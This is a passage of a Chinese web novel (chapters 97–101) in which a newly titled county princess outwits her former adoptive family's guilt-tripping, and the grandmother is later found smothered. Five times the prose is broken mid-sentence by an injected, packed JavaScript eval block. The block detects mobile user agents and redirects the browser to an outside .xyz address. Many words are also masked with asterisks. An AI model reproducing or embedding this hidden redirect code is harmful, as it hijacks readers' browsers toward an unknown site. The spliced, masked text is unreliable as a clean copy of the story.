桑老夫人是两名嬷嬷跟着的,侯府的马车停在不远处。 见喻初晴来了,老太太眼泪就开始哗啦啦流:“初晴!老身知道,南阳侯府对不住你,给你带来了诸多困扰!老身今日便是来给你道歉的!” 一旁的嬷嬷立即说道:“大小姐……不,县主大人!求求您了,快点劝老夫人起来吧!过去五年老夫人的身子骨就一直不利索,昨日还晕倒过去两回,她本该卧床养病的呀!” 另一名嬷嬷跟上:“是呀县主大人!老夫人说是对不住你,于心不安,非要拖着病体过来这一趟!” 喻初晴眉尖儿一挑。 哦,换战术了! 以前都是强词夺理、没脸硬要。 现在用的是“谁弱谁有理”,想要哭赢、博同情! 她款步走到桑老夫人面前,居高临下地睥睨这位老太太。 桑老夫人趁机抓住她的裙摆,老泪纵横地说道:“初晴!侯府这些个孽障实在是不像话!既然断了,就应该断个干净!本该桥归桥、路归路,让你过你的好日子去的。但他们真不是个东西,非要来骚扰你……” 现在各种事实板上钉钉,编造的无法取信于人,那就无法道德**她。 所以,真是换战术了! 然—— 喻初晴一针见血地问:“所以,老夫人你现在这样做,不是在骚扰我?” 桑老夫人一愣。 围观群众也愣住了。 额。 刚听说桑老夫人有病在身,拖着病体跪在这里,人的本能产生了同情心,觉得南阳侯府的男人们不是东西,但女人还是可以的? 连玉也曾是桑家儿媳。 侯夫人也是个心软的。 如今,老夫人也明事理? 但! 被喻初晴一语惊醒梦中人! K、O! 喻初晴又道:“老夫人还是起来吧。虽说如今我是圣旨御封的县主,有封号、享食邑。您跪我再久,也是跪得。但,毕竟我尊老爱幼,一直让你这么跪着,我于心不忍。您说对吧?” 桑老夫人再次愣住。 是啊。 她想道德**喻初晴,身为祖母跪在曾经的孙女面前,这是要天打雷劈的呀! 即便是皇帝来了,也说不通这个理儿! 但她竟然忘记了—— 喻初晴是县主! 因救东宫而风头正健的县主! 而南阳侯大势已去,如今只剩下一个空壳了。 她身上若有诰命,还可拼一拼。 可南阳侯连续三代太废,她那死去多年的亡夫没给她挣来诰命。 她没有能跟县主抗衡的头衔,跪县主,岂非天经地义? 喻初晴眸中露出嘲讽,抬手要扶老太太,道:“老夫人不必多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446423|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,即便我被你赶出侯府了,但毕竟我也喊了您十几年的祖母。你这般把我架上高台,不给我个台阶下,难道是故意想让世人骂我吗?” 一语道破对方的心机! 登时,破了对方的道德**! 围观群众已经不会同情心泛滥了。 不然还真有一些没拿过永安县主好处的人,一口一个:祖母跪孙女,这孙女太不像话! 但那一句“我被你赶出侯府了”、“故意想让世人骂我”,扯开了老太太的遮羞布。 人就怕换位思考! 一旦问出来“这福气给你你要不要”,他们就老实了! 说别人什么,都是上下嘴皮一碰,想喷粪就喷粪。 但凡落自己头上,沾到一点尾巴都要跑秃噜! 桑老夫人计划失败,心里一横,打算来个“不管你说什么,我就是跪在这里,直到你答应我的条件为止”。 她继续哭:“初晴,是我们对不住你。是你父亲和大哥对不住你!他们已经得到应有的惩罚了,如今老身什么也不想,就希望你能宽宏大量,你看能不能……能不能让他们先回家中把伤养好,之后再服牢役?” 先把人捞出来,下一步就到下一步再说。 这样的要求,还算合理。 但,喻初晴为什么要答应? 她扶着老太太的胳膊,练武之人的力气,老太太还是拼不过的。 硬生生地把桑老夫人提了起来,她口中道:“老夫人先起来说话吧,按礼来说,即便你身份不如我,好歹也是个长辈。我既然尊老敬贤,便该把你请进府里喝杯茶。” 她语气温和,甚至还面带微笑,“以德报怨”地说道:“已经临近傍晚了,但盛夏的骄阳也还是灼人得很。老夫人身子骨不利索,总在这里晒着不好。来吧,跟我进府说话!” 桑老夫人不知道喻初晴到底想做什么。 进府说话,有这么好心? 但! 不能进府! 进去了,岂非没有围观的人帮她涨声势了? 这么一想,她坚决不肯顺从喻初晴的力道! 当然—— 她是无论如何也想不到喻初晴想做什么的! 明明已经把人提起来了,喻初晴却突然一放手。 旋即惊呼:“哎呀!老夫人你为何非要跟我较劲呢!你看看你,弄疼了吧?” 第97章 桑怀盛还不如二两银子! 别人不知道,只有桑老夫人知晓—— 她根本没有用多大力气,只是不肯顺从喻初晴的手扶站起而已。 再说了,她一个老太婆的力气,也拼不过喻初晴这个花样年华、还练武的少女啊! 但—— 在她想要跟喻初晴对着干,用力往下坠的那一瞬间,喻初晴她…… 松、手、了! 她膝盖已经被拽离地,喻初晴这么一松手,她扑通一下,重重跪了下去! 加上她自己抵抗的力气反作用,膝盖钻心的疼,像是被楔子往里面撬一样! “哎哟!”她叫痛不迭:“我的膝盖!我的腿!” 喻初晴却又道:“哎呀!老夫人,你说你……我都说了,不必行如此大礼,你如此这般,岂非是自己跟自己过不去?” 桑老夫人有苦说不出! 而喻初晴没给她反应的时间,抬手就是一人一巴掌,扇向桑老夫人的左右嬷嬷。 “啪”! “啪”! 旋即冷脸怒斥:“你们俩是怎么做奴婢的,自家主子摔了,没看见么?要你们这些人有什么用!还不快扶老夫人起来?” 两个嬷嬷莫名其妙挨了巴掌,捂着脸一脸茫然,扶也不是,不扶也不是! 毕竟,以前的大小姐,从不打下人! 可。 如今她是县主,打两个奴婢,难道打不得? 见她们还在等桑老夫人的指示,不敢动,喻初晴反手又甩巴掌。 噼啪里个隆地洞! “得亏你们不是我县主府的人,不然就凭这样冷待主子,就应当给你二十个板子!” 以前她在南阳侯府就知道,这两名嬷嬷,惯来是狗眼看人低的,也没少给老太太支阴险的招儿,让老太太不干人事儿! 这两巴掌,没辱没她们。 挨了两巴掌后,两人不敢迟疑,赶忙将桑老夫人扶起来。 其中一人道:“老夫人先起来吧,要不……跟县主进去说说话?” 另一人则是说道:“老夫人,这么热的天,也别为难县主了。” 喻初晴微不可见地勾了勾唇。 有些人是要利诱的。 有些人,则是要威逼的! 看,这不是很聪明吗? 看出来只要她们不听话,她就一直打到服为止,这不听话极了! 如此一来,桑老夫人骑虎难下。 再跪下去那肯定是她的问题,没有人会站在她这边。 可不跪,今天来的这一趟就白跑了,那么多罪都白受了! 她犹豫不决的时候,忽然身后传来怒斥:“喻初晴!你怎么能这般欺负祖母!” 喻初晴有些讶异:这个手法比较像桑怀安的作风,没想到竟然是桑怀盛出的主意? 哟呵,士别三日当刮目相待。 桑怀盛,他可以啊! 有进步! 不过,兵来将挡水来土掩。 不管是桑怀安还是桑怀盛,都是要收拾的! 君子不与牛斗力,她没有跟桑怀盛这种脑壳有包的人理论。 而是直接转头问:“桑老夫人,我欺负你了吗?” 又转头看向所有吃瓜群众:“诸位都是见证人,从本县主回到府门外开始,至此,可有人见着我欺负桑老夫人了?” 当即有人高声喊道:“没有!县主回来便要扶起桑老夫人,但老夫人不肯起来。两个嬷嬷照料不周,还被县主大人教训过了!” “对对对,反倒是桑老夫人,你故意拖着病体、顶着大热的天,跪在这里。想要挟县主一定要帮你忙,简直是司马昭之心!” “那个案子是公审的,我们都有去看过!太子殿下判罚,求情者同南阳侯一道流放三千里!怎么,堂堂的侯府出来的人,连这么几句话都听不懂吗?” “笑死,是你们南阳侯府的人自己撞上来,搬起石头砸自己的脚!永安县主才是受害者,结果你们还来找受害者去帮忙求情?见过不要脸的,没见过这样不要脸的!” 随着众人纷纷站出来给喻初晴作证,桑怀盛的脸都绿了! 事情怎么不像他想的那样发展??? 反而,完全朝反方向去了! 喻初晴看向他。 被道德**的她,没有做任何不对劲的事。 她不会让自己处身在坑的边缘,随时都有失足深陷其中的可能! 桑怀盛的脑子,可没有这么多弯弯绕绕,见所有人都给喻初晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446424|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,他一口咬定:“你们都是收了喻初晴的好处,所以都给她做**是吧?如果不是她欺负祖母,祖母为何要顶着日头在这里跪!” “那不该问你吗?”喻初晴反口便问:“桑老夫人方才说,都是你们对不住我,所以她才要在这里跪的。现在,是应该问问你们,为什么要做那么多对不起我的事?而桑四公子你,又做了什么对不起我的事?” 这话,让围观群众都没忍住笑了! 永安县主是会抓人语病的! 她的思维非常敏捷,反应速度相当快。 这样的人条理性、逻辑性非常强,不是一般人能比的! 然而,桑怀盛不懂,硬要往南墙上撞:“祖母没有说要你去求情吧?喻初晴,只是让你把父亲和大哥捞出来,让他们得以回侯府养伤,又没说要赦免他们!这么一点小忙,你都不肯帮吗!” 喻初晴才不会被他带着节奏跑,又踩准他的一个逻辑漏洞:“你怎么知道老夫人跟我说的是什么,难道你一直躲在暗处偷看?还是说,你家祖母就是你带着一起过来的?是你连同她,一起给我挖坑,想要所有人谴责我,所以设计了这一出?” 桑怀盛气息一窒。 跟她说话,太难缠了! 他就想不明白了:以前喻初晴温温和和的,是贵女典范的那种。她从前不会在他说一句话,就逮住病灶不放的! 当然,那是因为从前喻初晴没想跟他计较。 跟他争口头上的输赢,对她来说毫无意义,有那跟蠢货对着干的闲工夫,还不如去多挣二两银子—— 总结:桑怀盛还不如二两银子! 但现在,争论有意义了呀。 桑怀盛那么容易被激怒。 怒火中烧之下,人本就会做出不理智的行为,更何况这个人是桑怀盛! 只要桑怀盛先发难,她就反杀,将他按在地板上摩擦! 果然—— “你这是强词夺理!”桑怀盛勃然大怒,上前一步便要抬手扇她。 喻初晴挑眉,打算借力打力,让他自己扇自己。 孰料就在此时,一支**从远处飞过来。 砰的一下,插在了二人中间的地面上! 马蹄声传来! 第98章 气绝身亡! 所有人循声望去。 只见一名身着戎装的武将,骑着高头大马从街道那边过来。 走近了,此人跃身下马。 二十来岁的青年武将,大步流星地走到喻初晴面前,抱拳行礼:“卑职来晚一步,让县主受惊了!” “苏副指挥使言重了。”喻初晴有些诧异。 让腾云去请的是赵大人,怎么把这一位给请来了? 她不动声色地施了一礼,道:“幸亏大人来得快,不然我就要挨打了!” 此人叫做苏祥,是五城兵马司的副指挥使。 年纪轻轻就能到这个位置,除了个人才能出众、曾在几年前拿过武状元之外,还有更重要的原因—— 他是皇后的亲侄子、太子的亲表哥! 五城兵马司负责帝京的治安管理、巡逻、消防,也负责市场监管。 济春堂发生过医闹,喻初晴跟苏祥打过交道。 后来,她救太子的时候,本是苏祥在萧景明身边保护的,却让贼人有机可趁。 若非是她及时救下萧景明,苏祥也会因为护卫太子不力,而受到追责。 而如果萧景明**,皇后娘家这一派,也就彻底失去了支柱! 为此,苏祥对喻初晴感激有加。 “县主放心,有卑职在,不会让人欺负您的!” 苏祥上前,把自己的**拔了回来,拎在手上。 旋即看向桑怀盛:“桑四公子,当街殴打永安县主,你莫不是想进我五城兵马司转转?” 真正的武将,一个眼神的压迫感,都是十分迫人的。 桑怀盛惊住,愤怒地看向喻初晴:“多大点事啊,你就请五城兵马司的人来!” 喻初晴:我请的是赵大人,可没请这位!谁让赵大人和苏副指挥使,都欠了我亿点人情呢? 不用喻初晴回答,苏祥眉眼一竖,不怒自威地说道:“倘若苏某没有及时赶到,太子殿下的救命恩人,就这么被你当街掌掴了!你管着叫小事儿?敢问,你把太子殿下放在何处!” 桑怀盛气息一窒。 其实,他刚才出手要打喻初晴的同时,已经看到喻初晴抬手准备捏住他的胳膊。 也就是说,喻初晴是准备反击的。 喻初晴的武功比他好,如果没有苏祥的**飞至,谁打谁还说不定了! 他自然不肯认的:“我没打她!” “是!”苏祥才不跟他掰扯,直接盖棺定论:“苏某没来,你就打了!你没打,是因为苏某来了!” 好一个逻辑闭环! “我……”桑怀盛根本说不过这个理儿! 这时候,街角那边过来一顶轿子。 是京兆府尹张太鑫到了! 桑怀盛更是瞪大了眼睛,不敢相信地看向喻初晴:“你还把京兆府尹叫来了!” “不错。”喻初晴也不管了,给了肯定的答复:“苏副指挥使,与张大人,都是我请过来的!” 她一脸怕怕地道:“毕竟遇上道德裹挟我的事,没找一两个能主持公道人,在你们南阳侯府的人面前,我还真的是弱势群体呢!” 她看向张太鑫:“几乎每一次南阳侯府的人以各种名目为难我、要挟我、裹挟我,张大人都是见证人,着实是太为难大人了!” 气氛烘托到这儿了,她说话也就更响亮、更直接了:“奈何,以南阳侯府的人脸皮之厚,无理也要辩三分的胡搅蛮缠,不找人帮我,我还真抗不过!” “你抗不过?”桑怀盛以为自己听到了天大的笑话:“哪一次侯府的人不被你整得很惨!” 喻初晴一脸纳闷:“他们惨,怎么能说是我整的?难道不是自作孽、不可活?哦,你想找我麻烦,结果自己摔了一个狗吃屎,还是我的错呗?你们自己愿意吃屎,还要怪我养狗,怨我给狗喂食太少、拉的不够你吃呗!” 众人:“……” 这话,也太绝了! 桑怀盛:“……” 有了苏祥和张太鑫在位,情势瞬间不一样了。 他一个人哪里拼得过那么多人! 尤其是,苏祥虽然年轻,却名声在外,不是个好相与的! 张太鑫一看这情形,心想:永安县主也用不上我帮忙啊,区区一个桑怀盛,哪里斗得过她? 那自己就只有一个功用了:“桑老夫人、桑四公子,如果你们以为在永安县主这里求情,就能够免除南阳侯父子的刑罚,那就想错了!” 他义正词严地道:“法,是朝廷的律法!判决,是太子殿下亲自督案、本官定的判罚!并且,殿下有令,如有人求情,则求情者将与南阳侯一起流放三千里!” 说到这里,他礼貌询问:“你们莫不是想要永安县主被流放三千里,干脆把南阳侯也折进去?反正南阳侯挨了二百杖责,此时情况真不太好。说不准,到时候流放的就只有永安县主一人……” 听他说到这里,苏祥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446425|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上写着求知若渴地询问:“难道,他们是觉得南阳侯反正活不长了,死也要拉个垫背的?” 张太鑫抚掌:“极有可能!” 喻初晴转头看向祖孙俩,满脸好奇宝宝的模样,问:“是这样么?” 两人能说什么? 他们什么都不敢说! 她声音又冷又沉:“上次公审案,已经真相大白!” “众所周知,我喻初晴没有任何对不住南阳侯府的地方,承蒙南阳侯府养我十二年,后来我养回去了五年。是你们把我赶走,表示以后跟我没关系,并且默认不需要我再报答任何恩情。” “之后,南阳侯还派人追杀我,想要我的命!” “所以,上回太子殿下都说了,恩义已然了断!” “可如今你们还来纠缠于我,到底是几个意思呀?” 话到这里,什么道德**的绳索,都已经彻底被粉碎。 桑老夫人跑这一趟,彻底白跑了。 她一时情急,又晕了过去! 倒不是装的,而是她本来就病着,又顶着下午的酷热跪了蛮久,之后又折腾了这么久。 两名嬷嬷扶住她。 桑怀盛却没有这种意识,只顾着责难:“喻初晴!你把祖母给气晕过去了!” 喻初晴满脸问号。 她转头就问:“苏副指挥使、张大人,你们觉得,是我气的吗?” 她会医术。 按说,遇上这种情形,医者本能是救死扶伤。 但! 她为什么要救白眼狼? 千万别救! 救了,他们也不会感恩。 而万一救不好,还得有个屎盆子扣她头上! “请大夫!”张太鑫十分沉稳:“来人,快去请大夫!” 这人是个相当机灵的,他明知道喻初晴会医术,但他没找喻初晴——因为她的身份在这中间敏感,后面容易发生扯不清的事! 桑怀盛看着眼前这发展,眼珠子一转,上前道:“我把祖母抱到马车上去!” 现场一片混乱。 大夫倒是不难请,附近都是高门大户的府邸,隔壁住户的府医出来,也就一会儿功夫。 但是!!! 真就这么一会儿功夫,三名不同府邸出来的府医,一同到马车上,给桑老夫人诊断。 最终得出一致结果—— “桑老夫人,已经气绝身亡了!” 第99章 4.25 这个结果,把所有人都干沉默了! 惋惜于一条生命的流逝,是人的本能。 但,桑老夫人死在这样的情境下,实在叫人难以消化。 喻初晴也很惊讶。 以前她帮老夫人调理过身体,虽说不可能治好,但只要保养得当,不至于这样脆弱啊。 她犹豫着,要不要去看看死因。 不想,就在这时候,桑怀盛突然朝她发难,挥舞着手臂朝她扑过来:“你害**祖母,我要跟你拼命!” 他大哭着,朝喻初晴抡胳膊。 看着要打她! 她动作敏捷地后退。 苏祥身法迅速,一个箭步上前挡在她面前,一把拎住桑怀盛的手腕,往后一拐将其擒拿住。 张太鑫脸色也阴沉,吩咐自己的手下:“去叫仵作过来。这种情形需要验尸,为了尊重桑老夫人,把咱们的女仵作也叫来!” 桑怀盛被苏祥压制得死死的,只能嘴里发出怒吼:“我祖母都过身了!你们还要验尸,这是要让我祖母下黄泉都不安心啊!” 张太鑫摆出青天大老爷的架势,道:“是你自己口口声声说,是永安县主害死桑老夫人的。既然本府眼皮底下有**,便要立案审查这件事!你放心,本府绝不会冤枉好人,也绝不会放过害人性命的罪魁!若真如你所说,是永安县主害的,本府自会替你做主!” 桑怀盛顿时无话可说。 女仵作还没有到,倒是太子殿下先到了! 太子大驾,喻初晴上前行礼:“见过太子殿下!” 其他人也纷纷跪拜。 她原本只是想让太子派个人来,想过萧景明可能会亲自出来,但并不保证。 一国储君那么闲么?成天出宫管这些破事儿! 不过也是存了赌一把的心思,只要他出宫,后面她的计划就可以走了。 没想到,还赌对了! 萧景明拂袖:“免礼,都起来吧。” 他看向苏祥——他的嫡亲表兄,问:“怎么回事?” “殿下,是这样的……”苏祥将事情的经过,三言两语简略跟他说完。 这边讲述前因后果的时间,听说太子驾到的喻家众人,也都出来了。 天都黑了! 他们家晴晴还没得吃饭! 先前她让木棉从侧门进,叫他们按兵不动。 但到了这一步,他们也是时候出来给她撑场子了! “见过太子殿下!”众人向萧景明行礼。 但—— 喻初晴眼尖,发现除了喻尚武和喻今歌外,其他人行礼都比较敷衍。 尤以喻昔词为最! 他拱手作揖的手,都没有合拢。 没有鞠躬弯腰,只有微微欠首,纯属于基本礼貌的那种。 现场人太多,萧景明没注意到那么多,只大略看了一圈喻初晴的亲人们。 不得不说,她的这群哥哥弟弟,还真的是—— 太出色了! “都免礼吧。”萧景明虚扶了一把,道:“即便已经天黑了,今日的事也必须说个清楚,别拖到后面,让初晴蒙受不白冤屈,被人捕风捉影了还得损害她的名誉!” 这话一出,所有人都明白:太子殿下相信,桑老夫人的死跟喻初晴绝对没关系! 桑怀盛不服气:“殿下,家祖母是在县主府门外出的事,也是与她争执过后绝气的。如何能肯定,她就是冤屈的!” “你想掰扯道理,那孤就想问一问。”萧景明皱眉看向桑怀盛:“初晴自从离开南阳侯府之后,没跟你们有任何过不去之处,为何南阳侯府的人,每次都要来找她的麻烦?” 大实话! 喻初晴不客气地道:“南阳侯府的人不仅要找我的麻烦,还要车轮战!目前为止,包括太子府里的那位桑雪夫人,每个人都来过了!” 太子府里的那位桑雪夫人…… 这形容词,像是一把锥子,狠狠扎进了萧景明的心里! 他脸色难看了一些。 如果不是桑雪算计了那一出,他不至于收这么个玩意儿入太子府。 虽然这么长时间来,他一直让手底下的人冷待桑雪、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446426|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磋磨桑雪。 但有这么个人的存在,即便是厚脸皮再跟喻初晴提想娶她做太子妃,都开不了口了! 许是天黑,桑怀盛没注意到他的神情变化,大怒道:“喻初晴,你害**祖母,还说这种风凉话!” “风凉话?”喻初晴歪头看去,不疾不徐地反问:“事实胜于雄辩!我可没有上南阳侯府找过半点麻烦,离开你们侯府之后,唯一一次进你家大门,还是去给桑怀志治腿伤,是去做好事、且是侯夫人请我帮忙的!” “按你们这些狼心狗肺的白眼狼作风,我就不该去帮这个忙!” “老夫人今日来,明面上是要找我帮忙把南阳侯与桑怀民捞出来,但她为何不能进府好好说话?非要跪在这里,难道不是为了道德**我?让我成为众矢之的?” 她的声音依然温和,不愠不火地说:“别说什么死者为大。害人不成自己**,难道就能掩盖害人的事实吗!” 桑老夫人把自己折腾**,就能否认她是来永安县主府找麻烦的吗? 当然,世俗不会这样理智。 经过喻初晴这么一说后,围观群众是心里门儿清了。 的确如此。 永安县主不曾跟南阳侯府过不去,每一次都是南阳侯府的人偷鸡不成蚀把米! “你……”桑怀盛依旧逮住一个重点攀咬:“退一万步讲,祖母在你府门外身故,在与你拉扯之后绝气,难道你就没有责任吗?” 喻今歌实在是看不下去了,大步上前驳斥:“桑怀盛你说这种话未免太过无理!你祖母身子骨不好,不是很多**了吗?她病弱早就不是什么秘密了,却还是拖着病体,来为你爹、你大哥下跪道歉!难道应该反省的,不是你们侯府的人吗?论不孝,也是这长子、这长孙的锅!干我姐什么事儿?” 喻尚武扛着大铁锤,依旧站在原地,说道:“是啊!你来我家偷鸡,没偷到反而自己摔一跤**,按你这种说法——退一万步讲,也该怨我呗?谁让我养了鸡,谁让我的鸡太漂亮了、让你看见了、让你起了盗心?都怪我的鸡,害你摔**呗!” 第100章 22万 不得不说,这话说得相当漂亮! 又好笑! 喻家兄弟还真是厉害! 桑怀盛才思本就不敏捷,说不过喻今歌一个半大孩子,甚至说不过喻家的智商洼地喻尚武。 他一个人一张嘴,也说不过那么多人啊! 这时候,连救兵都搬不了了。 父亲大哥在牢里、伤势不轻;二哥不知道跑哪里去了,也不支持他;三哥断腿在家里长蘑菇,无能狂怒…… 真的是,如今南阳侯府人丁凋零,一个帮手都没有! “现在的问题是——桑老夫人是**的!”喻初晴最关心的还是这个:“人是在我府门外出的事,虽说不是我的责任,但我应当洗刷嫌疑。免得以后再落人口实,被人胡乱造谣!” 喻慕文接话:“不错。虽说每次有人造谣,最后谣言都会不攻自破,但对我家妹妹来说,还是造成了极大的困扰,败坏了她的名声!” 喻昔词的话最简单:“必须彻查!” 桑怀盛一口咬定:“不是你喻初晴打死的人,却也是跟你争执而晕厥的,一口气说不上来,才会断气的!” 萧景明听不下去了:“桑怀盛,歪理少说两句,公道自会有京兆府尹审判!” 这时候,仵作来了! “大人!兹事体大,不仅我们京兆府的仵作来了,刚好大理寺的梁仵作与毕仵作也在咱们衙门,都一起过来了!” 好家伙,一来就来了五个仵作! 并且,业内水平顶尖的梁仵作与毕仵作,竟然这么凑巧也都在! 几人都没想到,太子殿下在场,赶忙又是一阵行礼。 萧景明让他们免礼,道:“掌灯,验尸!今夜之内,必须弄清楚桑老夫人的死因!一旦查出是人为死亡,孤绝不轻饶!” 桑怀盛脸色一白。 有太子令下,永安县主府门外,灯火通明。 仵作们很专业,即便是当街验尸,也没有任何羞辱尸体的行为。 因为可能会需要解剖,他们迅速拉了帘子,将尸身与围观群众隔开。 “来人!”喻初晴一挥手:“将无影灯拿出来!” 无影灯是什么? 所有人都不认识,个个面面相觑,不得其解。 不多时,无影灯来了。 竟然是一个铁做的类似于倒扣铁锅的圆盘,镶嵌了十多颗夜明珠在上面。 所有的夜明珠同时散发出光芒,顿时灯下一点儿影子都看不到! 见到这稀奇玩意儿,见多识广的喻昔词都大吃一惊:“晴晴,这是你自己做的?” “不错。”喻初晴说道:“很多活计需要特别细致的亮光,但是,即便是**,人和物也都会有影子,影响了细活的进展。无数盏灯凑在一起,能够将影子规避掉。所以,叫无影灯!” 这不是她的创意,是现代的智慧成果。 而她来了古代后,虽然不当大夫,却也经营了济春堂。 偶尔,她也会做一些济春堂大夫做不了的外科手术,救人性命。 为了方便手术,早就命人打造了无影灯! “我姐就是厉害啊!这么好的东西都能被你想到!”喻今歌看着喻初晴的目光,更加崇拜了。 喻初晴并不领功,说道:“我爱阅览群书,在哪里看到的不记得了,总之是得了灵感,觉得有用就找工匠按要求做出来。不是我聪明,是前人智慧成果。” “那也厉害!”喻今歌忽然觉得:“看来,我还是读书太少了!” 喻慕文挑眉,看向喻初晴。 他跟喻初晴,在某方面来说,其实是一类人——表面温和软糯,内里腹黑的黑芝麻汤圆! 同类互相能将对方摸个大概。 直觉,她没说实话。 他读的书那么多,也不曾见过能激发这个灵感的。 难道说,是他太笨? 他虽然不觉得自己聪明绝顶,但若说他笨,也不像话! 这边说着话,那边有了无影灯的帮助,验尸并不花多少功夫。 尤其是,大理寺的两位仵作,已经是仵作界的天花板级别,多么变态的**案没参与过剖尸? 验这样的尸首,已经是大材小用了。 五人商议后,得出了最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446427|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终结论,由大理寺梁仵作为代表,上前来陈词:“太子殿下、永安县主、张大人!” “死者旧疾缠身,已有数年。且前些年调养得应是还不错,虽说近期急怒攻心,五脏六腑有损害,并产生晕厥,但这些都不是致死的原因!” 听到这里,桑怀盛急迫地插话:“怎么不是?我祖母数次气晕,今日又在日头下晒了那么久,年迈的老人还在这里跪了好一段时间!喻初晴她不顾念这些,还跟祖母拉扯不休!这些就是致死原因!” 艺高人胆大,梁仵作这种高手,也是有脾气的。 他都懒得解释,只道:“桑四公子,你这么厉害,不若大理寺的仵作以后由你来做?” 宛如一巴掌狠狠扇在桑怀盛脸上,瞬间把他脸打肿! 喻今歌得意了:“呵,这也太好笑了!他桑怀盛能做仵作,我就能当神探!” 他特别喜欢刺激桑怀盛。 无他——都当过喻初晴的弟弟! 对比产生幸福感。 也能让他姐看出来:还得是他这个亲弟弟更好! 桑怀盛梗着脖子还想说什么,但萧景明一个眼神扫过来,丝毫不给脸面怒斥:“再胡乱说话,就掌嘴!” 这下好了,老实了。 得到太子的示意,梁仵作继续说道:“桑四公子提的,在日头下晒了许久、跪了许久,都可能引起死者晕厥。死者在气绝之前,的确是晕厥状态,但这并非致死原因!” 他朝萧景明拱手,道:“启禀太子殿下,死者南阳侯府老夫人,死于窒息!” 这话一出,宛如炸了一个深水**! 所有人都震惊地看着梁仵作。 即便是喻初晴,想过桑老夫人很可能是死于折腾,都没想过是死于窒息! 但—— 其一,梁仵作业务水平业内顶尖,窒息这么简单的,不可能分辨错。 其二,并非他一人独断,而是大理寺、京兆府的五名仵作、包括女仵作一起判断,才得出这个结论的。 那就是板上钉钉的事实了! 萧景明拧眉,道:“你继续说。” 第101章 一次好心,换来了被泼一身屎 桑怀盛那边被掩嘴了,梁仵作继续道:“其一,死者死亡时间超过半个时辰,局部已经出现尸斑。窒息而亡的尸斑,颜色较深,呈现暗紫红色,比正常死亡的死者,尸斑更明显、出现得也更早。” “其二,窒息而亡的尸僵明显,尤其以面部以及颈部最为突出。” “第三,死者眼神严重浑浊。” “第四,死者肌肉未经松弛阶段直接进入僵硬状态,仍保持着死亡当时的姿态和动作,尤其以面部以及颈部最为突出。” “第五,死者面部有淤血状况,随着死亡时间越长,越明显!” “第六,死者气管有僵硬的凹陷,代表其死亡的瞬间是无法呼吸的。” “最后,死者在临死前经过小幅度挣扎,但碍于身体弱,挣扎未久,便在极短的时间内便窒息而亡了!” “我等在死者的指甲里,发现了血迹和皮屑,另一只手还有几根头发。据推测,应是死者在气绝之前,有人用某样物品捂住她的口鼻,死者从凶手身上薅下来的!” “而这样物品,我等一致认为,是马车上的软皮坐垫。坐垫上仍有口鼻呼吸留下的痕迹!推测,是凶手用这张坐垫捂住死者口鼻,致使其窒息身亡!” 梁仵作每说一样,其他仵作都在记录验尸证明。 到此,梁仵作的陈词完毕:“启禀殿下,卑职等人所得结论,只得这些。” 只得这些信息,却已经够炸裂了! 仵作给出的,都是实证,抓捕凶手、推测凶手是谁,就不是他们的责任了。 萧景明最关注的一点是:“所以,桑老夫人的死,跟永安县主没有关系?” 梁仵作说话十分严谨:“回殿下,若永安县主没有在最后那点时间内接触过死者,凶手自然不是县主。” 这话说得相当严谨。 因为,他是仵作,不是断案人。 桑老夫人她身体弱,挣扎的力量很小。 肺活量差,憋气的能力也比身强体壮的年轻人差很多,所以死得很快。 